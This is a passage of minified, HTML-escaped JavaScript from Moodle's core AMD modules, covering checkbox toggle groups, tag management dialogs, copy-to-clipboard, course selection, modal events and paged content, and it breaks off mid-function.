root=e.data.root,toggleGroupName=$(e.target).data(&quot;togglegroup&quot;),slaves=getAllSlaveCheckboxes(root,toggleGroupName),checkedSlaves=slaves.filter(&quot;:checked&quot;);getToggleGroupLevels(toggleGroupName).forEach((function(toggleGroupLevel){toggleMastersAndActionElements(root,toggleGroupLevel)})),PubSub.publish(events.checkboxToggled,{root:root,toggleGroupName:toggleGroupName,slaves:slaves,checkedSlaves:checkedSlaves,anyChecked:!!checkedSlaves.length})},setActionElementStates=function(root,toggleGroupName,disableActionElements){(function(root,toggleGroup){return getToggleGroupElements(root,toggleGroup,!0).filter(&#039;[data-toggle=&quot;action&quot;]&#039;)})(root,toggleGroupName).prop(&quot;disabled&quot;,disableActionElements)},setMasterStates=function(root,toggleGroupName,targetState,exactMatch){var masters=getControlCheckboxes(root,toggleGroupName,exactMatch);masters.prop(&quot;checked&quot;,targetState),masters.each((function(i,masterElement){var targetString;if(masterElement=$(masterElement),targetString=targetState?masterElement.data(&quot;toggle-deselectall&quot;):masterElement.data(&quot;toggle-selectall&quot;),masterElement.is(&quot;:checkbox&quot;)){var masterLabel=root.find(&#039;[for=&quot;&#039;+masterElement.attr(&quot;id&quot;)+&#039;&quot;]&#039;);masterLabel.length&amp;&amp;masterLabel.html()!==targetString&amp;&amp;masterLabel.html(targetString)}else masterElement.text(targetString),masterElement.data(&quot;checkall&quot;,targetState?0:1)}))};return{init:function(){!function(){if(!registered){registered=!0;var root=$(document.body);root.on(&quot;click&quot;,&#039;[data-action=&quot;toggle&quot;][data-toggle=&quot;master&quot;]&#039;,{root:root},toggleSlavesFromMasters),root.on(&quot;click&quot;,&#039;[data-action=&quot;toggle&quot;][data-toggle=&quot;slave&quot;]&#039;,{root:root},toggleMastersFromSlaves)}}()},events:events,setGroupState:function(root,toggleGroupName,targetState){root=$(root),setMasterStates(root,toggleGroupName,targetState,!0),toggleSlavesToState(root,toggleGroupName,targetState)},updateSlavesFromMasterState:function(root,toggleGroupName){root=$(root);var targetState,target=getControlCheckboxes(root,toggleGroupName,!1);targetState=target.is(&quot;:checkbox&quot;)?target.is(&quot;:checked&quot;):1===target.data(&quot;checkall&quot;),toggleSlavesToState(root,toggleGroupName,targetState)}}}));
/**
 * Chart line.
 *
 * @copyright  2016 Frédéric Massart - FMCorz.net
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @module     core/chart_line
 */
define(&quot;core/chart_line&quot;,[&quot;core/chart_base&quot;],(function(Base){function Line(){Base.prototype.constructor.apply(this,arguments)}return Line.prototype=Object.create(Base.prototype),Line.prototype.TYPE=&quot;line&quot;,Line.prototype._smooth=!1,Line.prototype.create=function(Klass,data){var chart=Base.prototype.create.apply(this,arguments);return chart.setSmooth(data.smooth),chart},Line.prototype.getSmooth=function(){return this._smooth},Line.prototype.setSmooth=function(smooth){this._smooth=Boolean(smooth)},Line}));
/**
 * AJAX helper for the tag management page.
 *
 * @module     core/tag
 * @copyright  2015 Marina Glancy
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @since      3.0
 */
define(&quot;core/tag&quot;,[&quot;jquery&quot;,&quot;core/ajax&quot;,&quot;core/templates&quot;,&quot;core/notification&quot;,&quot;core/str&quot;,&quot;core/modal_factory&quot;,&quot;core/modal_events&quot;,&quot;core/pending&quot;],(function($,ajax,templates,notification,str,ModalFactory,ModalEvents,Pending){return{initTagindexPage:function(){$(&quot;body&quot;).delegate(&quot;.tagarea[data-ta] a[data-quickload=1]&quot;,&quot;click&quot;,(function(e){var pendingPromise=new Pending(&quot;core/tag:initTagindexPage&quot;);e.preventDefault();var target=$(this),query=target[0].search.replace(/^\?/,&quot;&quot;),tagarea=target.closest(&quot;.tagarea[data-ta]&quot;),args=query.split(&quot;&amp;&quot;).reduce((function(s,c){var t=c.split(&quot;=&quot;);return s[t[0]]=decodeURIComponent(t[1]),s}),{});ajax.call([{methodname:&quot;core_tag_get_tagindex&quot;,args:{tagindex:args}}])[0].then((function(data){return templates.render(&quot;core_tag/index&quot;,data)})).then((function(html,js){templates.replaceNode(tagarea,html,js)})).always(pendingPromise.resolve).catch(notification.exception)}))},initManagePage:function(){$(&quot;body&quot;).on(&quot;updated&quot;,&quot;[data-inplaceeditable]&quot;,(function(e){var pendingPromise=new Pending(&quot;core/tag:initManagePage&quot;);if(str.get_strings([{key:&quot;selecttag&quot;,component:&quot;core_tag&quot;},{key:&quot;now&quot;,component:&quot;core&quot;}]).then((function(result){$(&#039;label[for=&quot;tagselect&#039;+e.ajaxreturn.itemid+&#039;&quot;]&#039;).html(result[0]),$(e.target).closest(&quot;tr&quot;).find(&quot;td.col-timemodified&quot;).html(result[1])})).always(pendingPromise.resolve).catch(notification.exception),&quot;tagflag&quot;===e.ajaxreturn.itemtype){var row=$(e.target).closest(&quot;tr&quot;);&quot;0&quot;===e.ajaxreturn.value?row.removeClass(&quot;table-warning&quot;):row.addClass(&quot;table-warning&quot;)}})),$(&quot;.tag-management-table&quot;).delegate(&quot;a.tagdelete&quot;,&quot;click&quot;,(function(e){var pendingPromise=new Pending(&quot;core/tag:tagdelete&quot;);e.preventDefault();var href=$(this).attr(&quot;href&quot;);str.get_strings([{key:&quot;delete&quot;,component:&quot;core&quot;},{key:&quot;confirmdeletetag&quot;,component:&quot;tag&quot;},{key:&quot;yes&quot;,component:&quot;core&quot;},{key:&quot;no&quot;,component:&quot;core&quot;}]).then((function(s){return notification.confirm(s[0],s[1],s[2],s[3],(function(){window.location.href=href}))})).always(pendingPromise.resolve).catch(notification.exception)})),$(&quot;#tag-management-delete&quot;).click((function(e){var form=$(this).closest(&quot;form&quot;).get(0);if($(form).find(&quot;input[type=checkbox]:checked&quot;).length){var pendingPromise=new Pending(&quot;core/tag:tag-management-delete&quot;),tempElement=$(&quot;&lt;input type=&#039;hidden&#039;/&gt;&quot;).attr(&quot;name&quot;,this.name);e.preventDefault(),str.get_strings([{key:&quot;delete&quot;,component:&quot;core&quot;},{key:&quot;confirmdeletetags&quot;,component:&quot;tag&quot;},{key:&quot;yes&quot;,component:&quot;core&quot;},{key:&quot;no&quot;,component:&quot;core&quot;}]).then((function(s){return notification.confirm(s[0],s[1],s[2],s[3],(function(){tempElement.appendTo(form),form.submit()}))})).always(pendingPromise.resolve).catch(notification.exception)}})),$(&quot;#tag-management-combine&quot;).click((function(e){var pendingPromise=new Pending(&quot;core/tag:tag-management-combine&quot;);e.preventDefault();var form=$(this).closest(&quot;form&quot;).get(0),tags=$(form).find(&quot;input[type=checkbox]:checked&quot;);if(tags.length&lt;=1)str.get_strings([{key:&quot;combineselected&quot;,component:&quot;tag&quot;},{key:&quot;selectmultipletags&quot;,component:&quot;tag&quot;},{key:&quot;ok&quot;}]).then((function(s){return notification.alert(s[0],s[1],s[2])})).always(pendingPromise.resolve).catch(notification.exception);else{var tempElement=$(&quot;&lt;input type=&#039;hidden&#039;/&gt;&quot;).attr(&quot;name&quot;,this.name),saveButtonText=&quot;&quot;,tagOptions=[];tags.each((function(){var tagid=$(this).val(),tagname=$(&quot;.inplaceeditable[data-itemtype=tagname][data-itemid=&quot;+tagid+&quot;]&quot;).attr(&quot;data-value&quot;);tagOptions.push({id:tagid,name:tagname})})),str.get_strings([{key:&quot;combineselected&quot;,component:&quot;tag&quot;},{key:&quot;continue&quot;,component:&quot;core&quot;}]).then((function(langStrings){var modalTitle=langStrings[0];saveButtonText=langStrings[1];var templateContext={tags:tagOptions};return ModalFactory.create({title:modalTitle,body:templates.render(&quot;core_tag/combine_tags&quot;,templateContext),type:ModalFactory.types.SAVE_CANCEL})})).then((function(modal){return modal.setSaveButtonText(saveButtonText),modal})).then((function(modal){modal.getRoot().on(ModalEvents.save,(function(e){e.preventDefault(),tempElement.appendTo(form);var maintag=$(&quot;input[name=maintag]:checked&quot;,&quot;#combinetags_form&quot;).val();$(&quot;&lt;input type=&#039;hidden&#039;/&gt;&quot;).attr(&quot;name&quot;,&quot;maintag&quot;).attr(&quot;value&quot;,maintag).appendTo(form),form.submit()})),modal.getRoot().on(ModalEvents.hidden,(function(){modal.destroy()})),modal.show(),$(&quot;#combinetags_form input[type=radio]&quot;).first().focus().prop(&quot;checked&quot;,!0)})).always(pendingPromise.resolve).catch(notification.exception)}})),$(&quot;body&quot;).on(&quot;updatefailed&quot;,&quot;[data-inplaceeditable][data-itemtype=tagname]&quot;,(function(e){var exception=e.exception,newvalue=e.newvalue,tagid=$(e.target).attr(&quot;data-itemid&quot;);if(&quot;namesalreadybeeingused&quot;===exception.errorcode){var pendingPromise=new Pending(&quot;core/tag:updatefailed&quot;);e.preventDefault(),str.get_strings([{key:&quot;confirm&quot;,component:&quot;core&quot;},{key:&quot;nameuseddocombine&quot;,component:&quot;tag&quot;},{key:&quot;yes&quot;,component:&quot;core&quot;},{key:&quot;cancel&quot;,component:&quot;core&quot;}]).then((function(s){return notification.confirm(s[0],s[1],s[2],s[3],(function(){window.location.href=window.location.href+&quot;&amp;newname=&quot;+encodeURIComponent(newvalue)+&quot;&amp;tagid=&quot;+encodeURIComponent(tagid)+&quot;&amp;action=renamecombine&amp;sesskey=&quot;+M.cfg.sesskey}))})).always(pendingPromise.resolve).catch(notification.exception)}})),$(&quot;body&quot;).on(&quot;click&quot;,&quot;a[data-action=addstandardtag]&quot;,(function(e){var pendingPromise=new Pending(&quot;core/tag:addstandardtag&quot;);return e.preventDefault(),ModalFactory.create({title:str.get_string(&quot;addotags&quot;,&quot;tag&quot;),body:templates.render(&quot;core_tag/add_tags&quot;,{actionurl:window.location.href,sesskey:M.cfg.sesskey}),type:ModalFactory.types.SAVE_CANCEL}).then((function(modal){modal.setSaveButtonText(str.get_string(&quot;continue&quot;,&quot;core&quot;)),modal.getRoot().on(ModalEvents.save,(function(e){var tagsInput=$(e.currentTarget).find(&quot;#id_tagslist&quot;),name=tagsInput.val().trim();tagsInput.val(name);var tagsForm=$(&quot;#addtags_form&quot;);return tagsForm.on(&quot;submit&quot;,(function(e){var form=$(&quot;#addtags_form&quot;);!1===form[0].checkValidity()&amp;&amp;(e.preventDefault(),e.stopPropagation()),form.addClass(&quot;was-validated&quot;),$(&#039;[data-region=&quot;tagslistinput&quot;]&#039;).addClass(&quot;error&quot;);var errorMessage=$(&quot;#id_tagslist_error_message&quot;);errorMessage.removeAttr(&quot;hidden&quot;),errorMessage.addClass(&quot;help-block&quot;)})),tagsForm.submit(),!1})),modal.getRoot().on(ModalEvents.hidden,(function(){modal.destroy()})),modal.show()})).always(pendingPromise.resolve).catch(notification.exception)}))},initManageCollectionsPage:function(){$(&quot;body&quot;).on(&quot;updated&quot;,&quot;[data-inplaceeditable]&quot;,(function(e){var areaid,collid,pendingPromise=new Pending(&quot;core/tag:initManageCollectionsPage-updated&quot;),ajaxreturn=e.ajaxreturn;&quot;core_tag&quot;===ajaxreturn.component&amp;&amp;&quot;tagareaenable&quot;===ajaxreturn.itemtype&amp;&amp;(areaid=$(this).attr(&quot;data-itemid&quot;),$(&quot;.tag-collections-table ul[data-collectionid] li[data-areaid=&quot;+areaid+&quot;]&quot;).hide(),&quot;1&quot;===ajaxreturn.value?($(this).closest(&quot;tr&quot;).removeClass(&quot;dimmed_text&quot;),collid=$(this).closest(&quot;tr&quot;).find(&#039;[data-itemtype=&quot;tagareacollection&quot;]&#039;).attr(&quot;data-value&quot;),$(&quot;.tag-collections-table ul[data-collectionid=&quot;+collid+&quot;] li[data-areaid=&quot;+areaid+&quot;]&quot;).show()):$(this).closest(&quot;tr&quot;).addClass(&quot;dimmed_text&quot;)),&quot;core_tag&quot;===ajaxreturn.component&amp;&amp;&quot;tagareacollection&quot;===ajaxreturn.itemtype&amp;&amp;(areaid=$(this).attr(&quot;data-itemid&quot;),$(&quot;.tag-collections-table ul[data-collectionid] li[data-areaid=&quot;+areaid+&quot;]&quot;).hide(),collid=$(this).attr(&quot;data-value&quot;),&quot;1&quot;===$(this).closest(&quot;tr&quot;).find(&#039;[data-itemtype=&quot;tagareaenable&quot;]&#039;).attr(&quot;data-value&quot;)&amp;&amp;$(&quot;.tag-collections-table ul[data-collectionid=&quot;+collid+&quot;] li[data-areaid=&quot;+areaid+&quot;]&quot;).show()),pendingPromise.resolve()})),$(&quot;body&quot;).on(&quot;click&quot;,&quot;.addtagcoll &gt; a&quot;,(function(e){var pendingPromise=new Pending(&quot;core/tag:initManageCollectionsPage-addtagcoll&quot;);e.preventDefault();var href=$(this).attr(&quot;data-url&quot;),saveButtonText=&quot;&quot;;str.get_strings([{key:&quot;addtagcoll&quot;,component:&quot;tag&quot;},{key:&quot;create&quot;,component:&quot;core&quot;}]).then((function(langStrings){var modalTitle=langStrings[0];saveButtonText=langStrings[1];var templateContext={actionurl:href,sesskey:M.cfg.sesskey};return ModalFactory.create({title:modalTitle,body:templates.render(&quot;core_tag/add_tag_collection&quot;,templateContext),type:ModalFactory.types.SAVE_CANCEL})})).then((function(modal){return modal.setSaveButtonText(saveButtonText),modal.getRoot().on(ModalEvents.save,(function(e){var collectionInput=$(e.currentTarget).find(&quot;#addtagcoll_name&quot;),name=collectionInput.val().trim();collectionInput.val(name);var form=$(&quot;#addtagcoll_form&quot;);return form.on(&quot;submit&quot;,(function(e){!1===form[0].checkValidity()&amp;&amp;(e.preventDefault(),e.stopPropagation()),form.addClass(&quot;was-validated&quot;),$(&#039;[data-region=&quot;addtagcoll_nameinput&quot;]&#039;).addClass(&quot;error&quot;);var errorMessage=$(&quot;#id_addtagcoll_name_error_message&quot;);errorMessage.removeAttr(&quot;hidden&quot;),errorMessage.addClass(&quot;help-block&quot;)})),form.submit(),!1})),modal.getRoot().on(ModalEvents.hidden,(function(){modal.destroy()})),modal.show(),modal})).always(pendingPromise.resolve).catch(notification.exception)})),$(&quot;body&quot;).on(&quot;click&quot;,&quot;.tag-collections-table .action_delete&quot;,(function(e){var pendingPromise=new Pending(&quot;core/tag:initManageCollectionsPage-action_delete&quot;);e.preventDefault();var href=$(this).attr(&quot;data-url&quot;)+&quot;&amp;sesskey=&quot;+M.cfg.sesskey;str.get_strings([{key:&quot;delete&quot;},{key:&quot;suredeletecoll&quot;,component:&quot;tag&quot;,param:$(this).attr(&quot;data-collname&quot;)},{key:&quot;yes&quot;},{key:&quot;no&quot;}]).then((function(s){return notification.confirm(s[0],s[1],s[2],s[3],(function(){window.location.href=href}))})).always(pendingPromise.resolve).catch(notification.exception)}))}}}));
define(&quot;core/copy_to_clipboard&quot;,[&quot;core/str&quot;,&quot;core/toast&quot;,&quot;core/prefetch&quot;],(function(_str,_toast,_prefetch){
/**
   * A JavaScript module that enhances a button and text container to support copy-to-clipboard functionality.
   *
   * This module needs to be loaded by pages/templates/modules that require this functionality.
   *
   * To enable copy-to-clipboard functionality, we need a trigger element (usually a button) and a copy target element
   * (e.g. a div, span, text input, or text area).
   *
   * In the trigger element, we need to declare the &lt;code&gt;data-action=&quot;copytoclipboard&quot;&lt;/code&gt; attribute and set the
   * &lt;code&gt;data-clipboard-target&lt;/code&gt; attribute which is the CSS selector that points to the target element that contains the text
   * to be copied.
   *
   * When the text is successfully copied to the clipboard, a toast message that indicates that the copy operation was a success
   * will be shown. This success message can be customised by setting the &lt;code&gt;data-clipboard-success-message&lt;/code&gt; attribute in the
   * trigger element.
   *
   * @module     core/copy_to_clipboard
   * @copyright  2021 Jun Pataleta
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   *
   * @example &lt;caption&gt;Markup for the trigger and target elements&lt;/caption&gt;
   * &lt;input type=&quot;text&quot; id=&quot;textinputtocopy&quot; class=&quot;form-control&quot; value=&quot;Copy me!&quot; readonly /&gt;
   * &lt;button id=&quot;copybutton&quot; data-action=&quot;copytoclipboard&quot; data-clipboard-target=&quot;#textinputtocopy&quot;
   *         data-clipboard-success-message=&quot;Success!&quot; class=&quot;btn btn-secondary&quot;&gt;
   *     Copy to clipboard
   * &lt;/button&gt;
   */
const copyNodeContentToClipboard=(copyButton,copyTarget)=&gt;(copyTarget.select(),document.execCommand(&quot;copy&quot;)?(displaySuccessToast(copyButton),!0):(displayFailureToast(),!1)),displaySuccessToast=copyButton=&gt;getSuccessText(copyButton).then((successMessage=&gt;(0,_toast.add)(successMessage,{}))),displayFailureToast=()=&gt;getFailureText().then((message=&gt;(0,_toast.add)(message,{type:&quot;warning&quot;}))),getFailureText=()=&gt;(0,_str.get_string)(&quot;unabletocopytoclipboard&quot;,&quot;core&quot;),getSuccessText=copyButton=&gt;copyButton.dataset.clipboardSuccessMessage?Promise.resolve(copyButton.dataset.clipboardSuccessMessage):(0,_str.get_string)(&quot;textcopiedtoclipboard&quot;,&quot;core&quot;),getTextFromContainer=container=&gt;container.value?container.value:container.innerText?container.innerText:null;let loaded=!1;loaded||((0,_prefetch.prefetchStrings)(&quot;core&quot;,[&quot;textcopiedtoclipboard&quot;,&quot;unabletocopytoclipboard&quot;]),document.addEventListener(&quot;click&quot;,(e=&gt;{const copyButton=e.target.closest(&#039;[data-action=&quot;copytoclipboard&quot;]&#039;);if(!copyButton)return;if(!copyButton.dataset.clipboardTarget)return;const copyTarget=document.querySelector(copyButton.dataset.clipboardTarget);if(!copyTarget)return;e.preventDefault();const textToCopy=getTextFromContainer(copyTarget);if(textToCopy)if(navigator.clipboard)navigator.clipboard.writeText(textToCopy).then((()=&gt;displaySuccessToast(copyButton))).catch();else if(copyTarget instanceof HTMLInputElement||copyTarget instanceof HTMLTextAreaElement)copyTarget.focus(),copyNodeContentToClipboard(copyButton,copyTarget)&amp;&amp;copyButton.focus();else{const copyRegion=document.createElement(&quot;textarea&quot;);copyRegion.value=textToCopy,copyRegion.classList.add(&quot;sr-only&quot;),document.body.appendChild(copyRegion),copyNodeContentToClipboard(copyButton,copyRegion),copyRegion.remove(),copyButton.focus()}else displayFailureToast()})),loaded=!0)}));
/**
 * Course selector adaptor for auto-complete form element.
 *
 * @module     core/form-course-selector
 * @copyright  2016 Damyon Wiese &lt;damyon@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @since      3.1
 */
define(&quot;core/form-course-selector&quot;,[&quot;core/ajax&quot;,&quot;jquery&quot;],(function(ajax,$){return{processResults:function(selector,data){var results=[],i=0,excludelist=String($(selector).data(&quot;exclude&quot;)).split(&quot;,&quot;);for(i=0;i&lt;data.courses.length;i++)-1===excludelist.indexOf(String(data.courses[i].id))&amp;&amp;results.push({value:data.courses[i].id,label:data.courses[i].displayname});return results},transport:function(selector,query,success,failure){var el=$(selector),requiredcapabilities=el.data(&quot;requiredcapabilities&quot;);requiredcapabilities=&quot;&quot;!==requiredcapabilities.trim()?requiredcapabilities.split(&quot;,&quot;):[];var promises,limittoenrolled=el.data(&quot;limittoenrolled&quot;),includefrontpage=el.data(&quot;includefrontpage&quot;),onlywithcompletion=el.data(&quot;onlywithcompletion&quot;);void 0===query&amp;&amp;(query=&quot;&quot;);var calls=[{methodname:&quot;core_course_search_courses&quot;,args:{criterianame:&quot;search&quot;,criteriavalue:query,page:0,perpage:100,requiredcapabilities:requiredcapabilities,limittoenrolled:limittoenrolled,onlywithcompletion:onlywithcompletion}}];includefrontpage&amp;&amp;calls.push({methodname:&quot;core_course_get_courses&quot;,args:{options:{ids:[includefrontpage]}}}),promises=ajax.call(calls),$.when.apply($.when,promises).done((function(data,site){if(site&amp;&amp;1==site.length){var frontpage=site.pop();(&quot;&quot;===query||frontpage.fullname.toUpperCase().indexOf(query.toUpperCase())&gt;-1||frontpage.shortname.toUpperCase().indexOf(query.toUpperCase())&gt;-1)&amp;&amp;data.courses.splice(0,0,frontpage)}success(data)})).fail(failure)}}}));
/**
 * This is an empty module, that is required before all other modules.
 * Because every module is returned from a request for any other module, this
 * forces the loading of all modules with a single request.
 *
 * This function also sets up the listeners for ajax requests so we can tell
 * if any requests are still in progress.
 *
 * @module     core/first
 * @copyright  2015 Damyon Wiese &lt;damyon@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @since      2.9
 */
define(&quot;core/first&quot;,[&quot;jquery&quot;],(function($){$(document).bind(&quot;ajaxStart&quot;,(function(){M.util.js_pending(&quot;jq&quot;)})).bind(&quot;ajaxStop&quot;,(function(){M.util.js_complete(&quot;jq&quot;)}))}));
/**
 * Javascript to manage the paging dropdown control.
 *
 * @module     core/paged_content_paging_dropdown
 * @copyright  2018 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core/paged_content_paging_dropdown&quot;,[&quot;jquery&quot;,&quot;core/custom_interaction_events&quot;,&quot;core/paged_content_events&quot;,&quot;core/pubsub&quot;],(function($,CustomEvents,PagedContentEvents,PubSub){var SELECTORS_DROPDOWN_ITEM=&#039;[data-region=&quot;dropdown-item&quot;]&#039;,SELECTORS_DROPDOWN_TOGGLE=&#039;[data-region=&quot;dropdown-toggle&quot;]&#039;,SELECTORS_ACTIVE_DROPDOWN_ITEM=&#039;[data-region=&quot;dropdown-item&quot;].active&#039;,SELECTORS_CARET=&#039;[data-region=&quot;caret&quot;]&#039;,getPageNumber=function(item){return parseInt(item.attr(&quot;data-page-number&quot;),10)},getAllItems=function(root){return root.find(SELECTORS_DROPDOWN_ITEM)},getPreviousItems=function(root,item){var pageNumber=getPageNumber(item);return getAllItems(root).filter((function(index,element){return getPageNumber($(element))&lt;pageNumber}))},getLimit=function(item){return parseInt(item.attr(&quot;data-item-count&quot;),10)},getOffset=function(root,item){if(null!=item.attr(&quot;data-offset&quot;))return parseInt(item.attr(&quot;data-offset&quot;),10);var offset=0;return getPreviousItems(root,item).each((function(index,prevItem){prevItem=$(prevItem),offset+=getLimit(prevItem)})),item.attr(&quot;data-offset&quot;,offset),offset},getActiveItem=function(root){return root.find(SELECTORS_ACTIVE_DROPDOWN_ITEM)},setActiveItem=function(root,item,id){var eventPayload=function(root,items){return items.map((function(index,item){return item=$(item),{pageNumber:getPageNumber(item),limit:getLimit(item),offset:getOffset(root,item)}})).get()}(root,getPreviousItems(root,item).add(item)),toggle=root.find(SELECTORS_DROPDOWN_TOGGLE),caret=toggle.find(SELECTORS_CARET);getActiveItem(root).removeClass(&quot;active&quot;),item.addClass(&quot;active&quot;),toggle.html(item.text()),toggle.append(caret),PubSub.publish(id+PagedContentEvents.SHOW_PAGES,eventPayload)};return{init:function(root,id){root=$(root),function(items){items.each((function(index,item){(item=$(item)).attr(&quot;data-page-number&quot;,index+1)}))}(getAllItems(root));var activeItem=getActiveItem(root);activeItem.length&amp;&amp;setActiveItem(root,activeItem,id),CustomEvents.define(root,[CustomEvents.events.activate]),root.on(CustomEvents.events.activate,SELECTORS_DROPDOWN_ITEM,(function(e,data){var item=$(e.target).closest(SELECTORS_DROPDOWN_ITEM);setActiveItem(root,item,id),data.originalEvent.preventDefault()}))},rootSelector:&#039;[data-region=&quot;paging-dropdown-container&quot;]&#039;}}));
define(&quot;core/event&quot;,[&quot;exports&quot;,&quot;core_editor/events&quot;,&quot;core_filters/events&quot;,&quot;core_form/events&quot;,&quot;jquery&quot;,&quot;core/yui&quot;],(function(_exports,_events,_events2,_events3,_jquery,_yui){function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}
/**
   * Global registry of core events that can be triggered/listened for.
   *
   * @module     core/event
   * @copyright  2015 Damyon Wiese &lt;damyon@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   * @since      3.0
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0,_jquery=_interopRequireDefault(_jquery),_yui=_interopRequireDefault(_yui);const getRenamedLegacyFunction=(oldFunctionName,newModule,newFunctionName,newFunctionRef)=&gt;function(){return window.console.warn(&quot;The core/event::&quot;.concat(oldFunctionName,&quot;() function has been moved to &quot;).concat(newModule,&quot;::&quot;).concat(newFunctionName,&quot;. &quot;)+&quot;Please update your code to use the new module.&quot;),newFunctionRef(...arguments)};var _default={Events:{FORM_FIELD_VALIDATION:&quot;core_form-field-validation&quot;},getLegacyEvents:()=&gt;{const result=_jquery.default.Deferred();return window.console.warn(&quot;The getLegacyEvents function has been deprecated. Please update your code to use native events.&quot;),_yui.default.use(&quot;event&quot;,&quot;moodle-core-event&quot;,(function(){result.resolve(window.M.core.event)})),result.promise()},notifyEditorContentRestored:getRenamedLegacyFunction(&quot;notifyEditorContentRestored&quot;,&quot;core_editor/events&quot;,&quot;notifyEditorContentRestored&quot;,_events.notifyEditorContentRestored),notifyFilterContentUpdated:getRenamedLegacyFunction(&quot;notifyFilterContentUpdated&quot;,&quot;core_filters/events&quot;,&quot;notifyFilterContentUpdated&quot;,_events2.notifyFilterContentUpdated),notifyFormSubmitAjax:getRenamedLegacyFunction(&quot;notifyFormSubmitAjax&quot;,&quot;core_form/events&quot;,&quot;notifyFormSubmittedByJavascript&quot;,_events3.notifyFormSubmittedByJavascript)};return _exports.default=_default,_exports.default}));
define(&quot;core/event_dispatcher&quot;,[&quot;exports&quot;],(function(_exports){Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.dispatchEvent=void 0;_exports.dispatchEvent=function(eventName){let detail=arguments.length&gt;1&amp;&amp;void 0!==arguments[1]?arguments[1]:{},container=arguments.length&gt;2&amp;&amp;void 0!==arguments[2]?arguments[2]:document,{bubbles:bubbles=!0,cancelable:cancelable=!1,composed:composed=!1}=arguments.length&gt;3&amp;&amp;void 0!==arguments[3]?arguments[3]:{};const customEvent=new CustomEvent(eventName,{bubbles:bubbles,cancelable:cancelable,composed:composed,detail:detail});return container.dispatchEvent(customEvent),customEvent}}));
/**
 * Simple API for set/get to localstorage, with cacherev expiration.
 *
 * @module     core/localstorage
 * @class      localstorage
 * @copyright  2015 Damyon Wiese &lt;damyon@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @since      2.9
 */
define(&quot;core/localstorage&quot;,[&quot;core/config&quot;,&quot;core/storagewrapper&quot;],(function(config,StorageWrapper){var storage=new StorageWrapper(window.localStorage);return{get:function(key){return storage.get(key)},set:function(key,value){return storage.set(key,value)}}}));
/**
 * Contain the events a modal can fire.
 *
 * @module     core/modal_events
 * @class      modal_events
 * @copyright  2016 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core/modal_events&quot;,[],(function(){return{shown:&quot;modal:shown&quot;,hidden:&quot;modal:hidden&quot;,destroyed:&quot;modal:destroyed&quot;,bodyRendered:&quot;modal:bodyRendered&quot;,outsideClick:&quot;modal:outsideClick&quot;,save:&quot;modal-save-cancel:save&quot;,cancel:&quot;modal-save-cancel:cancel&quot;}}));
/**
 * Chart.js loader.
 *
 * @copyright  2016 Frédéric Massart - FMCorz.net
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core/chartjs&quot;,[&quot;core/chartjs-lazy&quot;],(function(ChartJS){return ChartJS}));
/**
 * Javascript for showing/hiding pages of content.
 *
 * @module     core/paged_content_pages
 * @copyright  2018 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core/paged_content_pages&quot;,[&quot;jquery&quot;,&quot;core/templates&quot;,&quot;core/notification&quot;,&quot;core/pubsub&quot;,&quot;core/paged_content_events&quot;,&quot;core/pending&quot;],(function($,Templates,Notification,PubSub,PagedContentEvents,Pending){var SELECTORS_PAGE_REGION=&#039;[data-region=&quot;paged-content-page&quot;]&#039;,TEMPLATES_PAGING_CONTENT_ITEM=&quot;core/paged_content_page&quot;,TEMPLATES_LOADING=&quot;core/overlay_loading&quot;,findPage=function(root,pageNumber){return root.find(&#039;[data-page=&quot;&#039;+pageNumber+&#039;&quot;]&#039;)},showPages=function(root,pagesData,id,renderPagesContentCallback){var pendingPromise=new Pending(&quot;core/paged_content_pages:showPages&quot;),existingPages=[],newPageData=[],newPagesPromise=$.Deferred();if(pagesData.forEach((function(pageData){var pageNumber=pageData.pageNumber,existingPage=findPage(root,pageNumber);existingPage.length?existingPages.push(existingPage):newPageData.push(pageData)})),newPageData.length&amp;&amp;&quot;function&quot;==typeof renderPagesContentCallback){var renderPagePromises=renderPagesContentCallback(newPageData,{allItemsLoaded:function(lastPageNumber){PubSub.publish(id+PagedContentEvents.ALL_ITEMS_LOADED,lastPageNumber)}}).map((function(promise,index){return function(root,pagePromise,pageNumber){var deferred=$.Deferred();return pagePromise.then((function(html,pageJS){pageJS=pageJS||&quot;&quot;,Templates.render(TEMPLATES_PAGING_CONTENT_ITEM,{page:pageNumber,content:html}).then((function(html){Templates.appendNodeContents(root,html,pageJS);var page=findPage(root,pageNumber);deferred.resolve(page)})).fail((function(exception){deferred.reject(exception)})).fail(Notification.exception)})).fail((function(exception){deferred.reject(exception)})).fail(Notification.exception),deferred.promise()}(root,promise,newPageData[index].pageNumber)}));$.when.apply($,renderPagePromises).then((function(){var newPages=Array.prototype.slice.call(arguments);newPagesPromise.resolve(newPages)})).fail((function(exception){newPagesPromise.reject(exception)})).fail(Notification.exception)}else newPagesPromise.resolve([]);var loadingPromise=function(root){var deferred=$.Deferred();root.attr(&quot;aria-busy&quot;,!0);var pendingPromise=new Pending(&quot;core/paged_content_pages:startLoading&quot;);return Templates.render(TEMPLATES_LOADING,{visible:!0}).then((function(html){var 